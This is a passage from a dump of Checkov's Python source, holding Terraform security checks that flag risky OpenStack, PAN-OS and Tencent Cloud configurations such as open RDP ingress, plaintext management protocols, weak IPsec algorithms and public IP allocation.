    "path": "checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress3389.py",
    "content": "from checkov.terraform.checks.resource.openstack.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngress3389(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_OPENSTACK_3\", port=3389)\n\n\ncheck = SecurityGroupUnrestrictedIngress3389()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/openstack/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoHTTP.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass InterfaceMgmtProfileNoHTTP(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure plain-text management HTTP is not enabled for an Interface Management Profile\"\n        id = \"CKV_PAN_2\"\n        supported_resources = ['panos_management_profile']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'http'\n\n    def get_forbidden_values(self):\n        return [True]\n\n\ncheck = InterfaceMgmtProfileNoHTTP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoTelnet.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass InterfaceMgmtProfileNoTelnet(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure plain-text management Telnet is not enabled for an Interface Management Profile\"\n        id = \"CKV_PAN_3\"\n        supported_resources = ['panos_management_profile']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'telnet'\n\n    def get_forbidden_values(self):\n        return [True]\n\n\ncheck = InterfaceMgmtProfileNoTelnet()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/NetworkIPsecAlgorithms.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass NetworkIPsecAlgorithms(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IPsec profiles do not specify use of insecure encryption algorithms\"\n        id = \"CKV_PAN_11\"\n        supported_resources = ('panos_ipsec_crypto_profile', 'panos_panorama_ipsec_crypto_profile')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # Check there are encryptions defined in the resource\n        if 'encryptions' in conf:\n\n            # Report the area of evaluation\n            self.evaluated_keys = ['encryptions']\n\n            # Get all the algorithms\n            algorithms = conf['encryptions']\n\n            # Iterate over each algorithm, as multiple can be defined in \"encryptions\"\n            for algo in algorithms:\n\n                # Check for insecure algorithms, including null as a string (not a null value)\n                if algo[0] in ('des', '3des', 'aes-128-cbc', 'aes-192-cbc', 'aes-256-cbc', 'null'):\n\n                    # Fail if any insecure algorithms are defined for use\n                    return CheckResult.FAILED\n\n            # If no fails have been found, this is a pass\n            return CheckResult.PASSED\n\n        # If the mandatory \"encryptions\" attribute is not defined, this is not valid, and will fail during Terraform plan stage, and should therefore be a fail\n        return CheckResult.FAILED\n\n\ncheck = NetworkIPsecAlgorithms()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/NetworkIPsecAuthAlgorithms.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass NetworkIPsecAuthAlgorithms(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IPsec profiles do not specify use of insecure authentication algorithms\"\n        id = \"CKV_PAN_12\"\n        supported_resources = ('panos_ipsec_crypto_profile', 'panos_panorama_ipsec_crypto_profile')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # Check there are authentications defined in the resource\n        if 'authentications' in conf:\n\n            # Report the area of evaluation\n            self.evaluated_keys = ['authentications']\n\n            # Get all the algorithms\n            algorithms = conf['authentications']\n\n            # Iterate over each algorithm, as multiple can be defined in \"authentications\"\n            for algo in algorithms:\n\n                # Check for insecure algorithms, including null as a string (not a null value)\n                if algo[0] in ('none', 'md5', 'sha1'):\n\n                    # Fail if any insecure algorithms are defined for use\n                    return CheckResult.FAILED\n\n            # If no fails have been found, this is a pass\n            return CheckResult.PASSED\n\n        # If the mandatory \"authentications\" attribute is not defined, this is not valid, and will fail during Terraform plan stage, and should therefore be a fail\n        return CheckResult.FAILED\n\n\ncheck = NetworkIPsecAuthAlgorithms()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/NetworkIPsecProtocols.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass NetworkIPsecProtocols(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure IPsec profiles do not specify use of insecure protocols\"\n        id = \"CKV_PAN_13\"\n        supported_resources = ['panos_ipsec_crypto_profile', 'panos_panorama_ipsec_crypto_profile']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'protocol'\n\n    def get_forbidden_values(self):\n        return ['ah']\n\n\ncheck = NetworkIPsecProtocols()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/PolicyDescription.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass PolicyDescription(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure description is populated within security policies\"\n        id = \"CKV_PAN_8\"\n        supported_resources = ('panos_security_policy', 'panos_security_rule_group')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # Check there is a rule defined in the resource\n        if 'rule' in conf:\n\n            # Report the area of evaluation\n            self.evaluated_keys = ['rule']\n\n            # Get all the rules defined in the resource\n            rules = conf['rule']\n\n            # Iterate over each rule\n            for secrule in rules:\n\n                # Check if a description is defined in the rule\n                if 'description' in secrule:\n\n                    # If a description is defined, get the value\n                    desc = secrule['description']\n\n                    if desc[0].strip() == \"\":\n                        # An empty string is no description, which is a fail\n                        return CheckResult.FAILED\n                else:\n                    # If a description attribute is not explicitly set, this is a fail\n                    return CheckResult.FAILED\n\n            # If no fails have been found, this is a pass\n            return CheckResult.PASSED\n\n        # If there's no rules we have nothing to check\n        return CheckResult.UNKNOWN\n\n\ncheck = PolicyDescription()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/PolicyLogForwarding.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass PolicyLogForwarding(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure a Log Forwarding Profile is selected for each security policy rule\"\n        id = \"CKV_PAN_9\"\n        supported_resources = ('panos_security_policy', 'panos_security_rule_group')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # Check there is a rule defined in the resource\n        if 'rule' in conf:\n\n            # Report the area of evaluation\n            self.evaluated_keys = ['rule']\n\n            # Get all the rules defined in the resource\n            rules = conf['rule']\n\n            # Iterate over each rule\n            for secrule in rules:\n\n                # Check if a log_setting is defined in the rule\n                if 'log_setting' in secrule:\n\n                    # If a log_setting is defined, get the value\n                    desc = secrule['log_setting']\n\n                    if desc[0].strip() == \"\":\n                        # An empty string is no log_setting, which is a fail\n                        return CheckResult.FAILED\n                else:\n                    # If a log_setting attribute is not explicitly set, this is a fail\n                    return CheckResult.FAILED\n\n            # If no fails have been found, this is a pass\n            return CheckResult.PASSED\n\n        # If there's no rules we have nothing to check\n        return CheckResult.UNKNOWN\n\n\ncheck = PolicyLogForwarding()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/PolicyLoggingEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass PolicyLoggingEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure logging at session end is enabled within security policies\"\n        id = \"CKV_PAN_10\"\n        supported_resources = ('panos_security_policy', 'panos_security_rule_group')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # Check there is a rule defined in the resource\n        if 'rule' in conf:\n\n            # Report the area of evaluation\n            self.evaluated_keys = ['rule']\n\n            # Get all the rules defined in the resource\n            rules = conf['rule']\n\n            # Iterate over each rule\n            for secrule in rules:\n\n                # Check if logging at session end is defined in the resource\n                if 'log_end' in secrule:\n\n                    # If logging at session end is defined, get the value\n                    logstatus = secrule['log_end']\n\n                    # Setting log_end to false is a fail, logging will be disabled\n                    if not logstatus[0]:\n                        return CheckResult.FAILED\n                    # The other value for log_end is true, which is a pass\n\n            # If no fails were found in the rules, this is a pass\n            # Also, if no log_end attributes were explicitly set, the default is true, which is also a pass\n            return CheckResult.PASSED\n\n        # If there's no rules we have nothing to check\n        return CheckResult.UNKNOWN\n\n\ncheck = PolicyLoggingEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/PolicyNoApplicationAny.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass PolicyNoApplicationAny(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure security rules do not have 'applications' set to 'any' \"\n        id = \"CKV_PAN_5\"\n        supported_resources = ('panos_security_policy', 'panos_security_rule_group')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # Check there is a rule defined in the resource\n        if 'rule' in conf:\n\n            # Report the area of evaluation\n            self.evaluated_keys = ['rule']\n\n            # Get all the rules defined in the resource\n            rules = conf['rule']\n\n            # Iterate over each rule\n            for secrule in rules:\n\n                # Check if applications is defined in the resource\n                if 'applications' in secrule:\n\n                    # If applications is defined, get the value\n                    apps = secrule['applications']\n\n                    # The value \"any\" is overly permissive and is therefore a fail. The value \"any\" can only appear on its on, \"any\" with any other values in the list is rejected by Terraform during apply stage\n                    if apps[0][0] == \"any\":\n                        return CheckResult.FAILED\n                    # Any non-any value is specifying an application, which is a pass\n                else:\n                    # If \"applications\" attribute is not defined, this is not valid and will fail during Terraform plan stage, and should therefore be a fail\n                    return CheckResult.FAILED\n\n            # No \"any\" found for the \"applications\" attribute for any rules, therefore we have a pass\n            return CheckResult.PASSED\n\n        # If there's no rules we have nothing to check\n        return CheckResult.UNKNOWN\n\n\ncheck = PolicyNoApplicationAny()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/PolicyNoDSRI.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass PolicyNoDSRI(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DSRI is not enabled within security policies\"\n        id = \"CKV_PAN_4\"\n        supported_resources = ('panos_security_policy', 'panos_security_rule_group')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # Check there is a rule defined in the resource\n        if 'rule' in conf:\n\n            # Report the area of evaluation\n            self.evaluated_keys = ['rule']\n\n            # Get all the rules defined in the resource\n            rules = conf['rule']\n\n            # Iterate over each rule\n            for secrule in rules:\n\n                # Check if DSRI is defined in the resource\n                if 'disable_server_response_inspection' in secrule:\n\n                    # If DSRI is defined, get the value\n                    dsriflag = secrule['disable_server_response_inspection']\n\n                    # Setting DSRI to true is a fail as server-to-client inspection will be disabled\n                    if dsriflag[0]:\n                        return CheckResult.FAILED\n\n            # The other value for DSRI is false, which is a pass\n            # Also, if the DSRI attribute is not explicitly set, the default is false, which is also a pass\n            return CheckResult.PASSED\n\n        # If there's no rules we have nothing to check\n        return CheckResult.UNKNOWN\n\n\ncheck = PolicyNoDSRI()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/PolicyNoServiceAny.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass PolicyNoServiceAny(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure security rules do not have 'services' set to 'any' \"\n        id = \"CKV_PAN_6\"\n        supported_resources = ('panos_security_policy', 'panos_security_rule_group')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # Check there is a rule defined in the resource\n        if 'rule' in conf:\n\n            # Report the area of evaluation\n            self.evaluated_keys = ['rule']\n\n            # Get all the rules defined in the resource\n            rules = conf['rule']\n\n            # Iterate over each rule\n            for secrule in rules:\n\n                # Check if services is defined in the resource\n                if 'services' in secrule:\n\n                    # If services is defined, get the value\n                    services = secrule['services']\n\n                    # The value \"any\" is overly permissive and is therefore a fail. The value \"any\" can only appear on its on, \"any\" with any other values in the list is rejected by Terraform during apply stage\n                    if services[0][0] == \"any\":\n                        return CheckResult.FAILED\n                    # Any non-any value is specifying an service, which is a pass\n                else:\n                    # If \"services\" attribute is not defined, this is not valid and will fail during Terraform plan stage, and should therefore be a fail\n                    return CheckResult.FAILED\n\n            # No \"any\" found for the \"services\" attribute for any rules, therefore we have a pass\n            return CheckResult.PASSED\n\n        # If there's no rules we have nothing to check\n        return CheckResult.UNKNOWN\n\n\ncheck = PolicyNoServiceAny()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/PolicyNoSrcAnyDstAny.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass PolicyNoSrcAnyDstAny(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure security rules do not have 'source_addresses' and 'destination_addresses' both containing values of 'any' \"\n        id = \"CKV_PAN_7\"\n        supported_resources = ('panos_security_policy', 'panos_security_rule_group')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # Check there is a rule defined in the resource\n        if 'rule' in conf:\n\n            # Report the area of evaluation\n            self.evaluated_keys = ['rule']\n\n            # Get all the rules defined in the resource\n            rules = conf['rule']\n\n            # Iterate over each rule\n            for secrule in rules:\n\n                # Check if source_addresses is defined in the resource\n                if 'source_addresses' in secrule:\n\n                    # If source_addresses is defined, get the value\n                    source_addresses = secrule['source_addresses']\n\n                    # source_addresses can have a list of values, so iterate over each value\n                    for src_address in source_addresses[0]:\n\n                        # The value \"any\" is overly permissive for source_addresses only if combined with destination_address=any...\n                        if src_address == \"any\":\n\n                            # ...so check if destination_addresses is defined in the resource\n                            if 'destination_addresses' in secrule:\n\n                                # If destination_addresses is defined, get the value\n                                destination_addresses = secrule['destination_addresses']\n\n                                # destination_addresses can have a list of values, so iterate over each value\n                                for dst_address in destination_addresses[0]:\n\n                                    # If the value of destination_addresses is also \"any\" as well as source_addresses=any, this is overly permissive\n                                    if dst_address == \"any\":\n                                        return CheckResult.FAILED\n\n                            else:\n                                # If \"destination_addresses\" attribute is not defined, this is not valid and will fail during Terraform plan stage, and should therefore be a fail\n                                return CheckResult.FAILED\n\n                else:\n                    # If \"source_addresses\" attribute is not defined, this is not valid and will fail during Terraform plan stage, and should therefore be a fail\n                    return CheckResult.FAILED\n\n            # We have been through all rules and not found one with failure where source_addresses and destination_addresses both have the value 'any', so this is a pass\n            return CheckResult.PASSED\n\n        # If there's no rules we have nothing to check\n        return CheckResult.UNKNOWN\n\n\ncheck = PolicyNoSrcAnyDstAny()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass ZoneProtectionProfile(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure a Zone Protection Profile is defined within Security Zones\"\n        id = \"CKV_PAN_14\"\n        supported_resources = ('panos_zone', 'panos_zone_entry', 'panos_panorama_zone')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n\n        # Report the area of evaluation\n        self.evaluated_keys = ['zone_profile']\n\n        # Check there is a Zone Protection Profile defined in the resource\n        if 'zone_profile' in conf:\n\n            # Get the Zone Protection Profile\n            profile_definition = conf.get('zone_profile')\n\n            # There can only be one \"zone_profile\" or Terraform fails at the \"plan\" stage\n            if profile_definition[0].strip() == \"\":\n\n                # An empty string is no Zone Protection Profile, which is a fail\n                return CheckResult.FAILED\n\n            else:\n\n                # A non-empty string is a Zone Protection Profile being used, which is a pass\n                return CheckResult.PASSED\n\n        # If the \"zone_profile\" attribute is not defined, there is no Zone Protection Profile for this zone, which is a fail\n        return CheckResult.FAILED\n\n\ncheck = ZoneProtectionProfile()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/ZoneUserIDIncludeACL.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass ZoneUserIDIncludeACL(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure an Include ACL is defined for a Zone when User-ID is enabled\"\n        id = \"CKV_PAN_15\"\n        supported_resources = ('panos_zone', 'panos_panorama_zone')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n\n        # Report the area of evaluation\n        self.evaluated_keys = ['include_acls']\n\n        # Get User-ID status, boolean value\n        user_id_enabled = conf.get('enable_user_id')\n\n        # Check if User-ID is enabled in the zone\n        if user_id_enabled:\n\n            # Then check if an Include ACL is defined for User-ID\n            if 'include_acls' in conf:\n\n                # Get the Include ACL attribute\n                acls = conf.get('include_acls')[0]\n\n                # Cycle through each item in the Include ACL list\n                for acl in acls:\n\n                    # Check for empty strings\n                    if acl.strip() == \"\":\n\n                        # An empty string is no ACL, which is a fail\n                        return CheckResult.FAILED\n\n                # No empty strings found in Include ACL definition, so this is a pass\n                return CheckResult.PASSED\n\n            else:\n                # No Include ACl for User-ID is a fail\n                return CheckResult.FAILED\n\n        # If User-ID is not enabled for the zone, the Include ACL check is not needed\n        else:\n            return CheckResult.PASSED\n\n\ncheck = ZoneUserIDIncludeACL()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/panos/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.terraform.checks.resource.base_registry import Registry\n\nresource_registry = Registry(CheckType.TERRAFORM)\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/CBSEncryption.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import \\\n    BaseResourceValueCheck\n\n\nclass CBSEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud CBS is encrypted\"\n        id = \"CKV_TC_1\"\n        supported_resources = ['tencentcloud_cbs_storage']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'encrypt'\n\n    def get_expected_value(self) -> List[Any]:\n        return True\n\n\ncheck = CBSEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/CDBInternetService.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import \\\n    BaseResourceNegativeValueCheck\n\n\nclass CDBInternetService(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud mysql instances do not enable access from public networks\"\n        id = \"CKV_TC_9\"\n        supported_resources = ['tencentcloud_mysql_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'internet_service/[0]'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [1]\n\n\ncheck = CDBInternetService()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/CDBIntranetPort.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import \\\n    BaseResourceNegativeValueCheck\n\n\nclass CDBIntranetPort(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud MySQL instances intranet ports are not set to the default 3306\"\n        id = \"CKV_TC_10\"\n        supported_resources = ['tencentcloud_mysql_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'intranet_port/[0]'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [3306]\n\n\ncheck = CDBIntranetPort()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/CLBInstanceLog.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import \\\n    BaseResourceCheck\n\n\nclass CLBInstanceLog(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud CLB has a logging ID and topic\"\n        id = \"CKV_TC_11\"\n        supported_resources = ['tencentcloud_clb_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get(\"log_set_id\") is None or conf.get(\"log_topic_id\") is None:\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CLBInstanceLog()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/CLBListenerProtocol.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import \\\n    BaseResourceNegativeValueCheck\n\n\nclass CLBListenerProtocol(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud CLBs use modern, encrypted protocols\"\n        id = \"CKV_TC_12\"\n        supported_resources = ['tencentcloud_clb_listener']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'protocol/[0]'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [\"TCP\", \"UDP\", \"HTTP\"]\n\n\ncheck = CLBListenerProtocol()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/CVMAllocatePublicIp.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import \\\n    BaseResourceNegativeValueCheck\n\n\nclass CVMAllocatePublicIp(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud CVM instance does not allocate a public IP\"\n        id = \"CKV_TC_2\"\n        supported_resources = ['tencentcloud_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'allocate_public_ip/[0]'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = CVMAllocatePublicIp()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/CVMDisableMonitorService.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import \\\n    BaseResourceNegativeValueCheck\n\n\nclass CVMDisableMonitorService(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud CVM monitor service is enabled\"\n        id = \"CKV_TC_3\"\n        supported_resources = ['tencentcloud_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'disable_monitor_service/[0]'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = CVMDisableMonitorService()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultSecurityGroup.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import \\\n    BaseResourceCheck\n\n\nclass CVMUseDefaultSecurityGroup(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud CVM instances do not use the default security group \"\n        id = \"CKV_TC_4\"\n        supported_resources = ['tencentcloud_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict) -> CheckResult:\n        if conf.get(\"orderly_security_groups\"):\n            for osg in conf[\"orderly_security_groups\"][0]:\n                if \".default.\" in osg:\n                    self.evaluated_keys = [\"orderly_security_groups\"]\n                    return CheckResult.FAILED\n\n        if conf.get(\"security_groups\"):\n            for sg in conf[\"security_groups\"][0]:\n                if \".default.\" in sg:\n                    self.evaluated_keys = [\"security_groups\"]\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CVMUseDefaultSecurityGroup()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultVPC.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import \\\n    BaseResourceCheck\n\n\nclass CVMUseDefaultVPC(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Tencent Cloud CVM instances do not use the default VPC\"\n        id = \"CKV_TC_5\"\n        supported_resources = ['tencentcloud_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get(\"vpc_id\") and \".default.\" in conf[\"vpc_id\"][0]:\n            self.evaluated_keys = [\"vpc_id\"]\n            return CheckResult.FAILED\n        if conf.get(\"subnet_id\") and \".default.\" in conf[\"subnet_id\"][0]:\n            self.evaluated_keys = [\"subnet_id\"]\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CVMUseDefaultVPC()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/tencentcloud/CVMUserData.py",
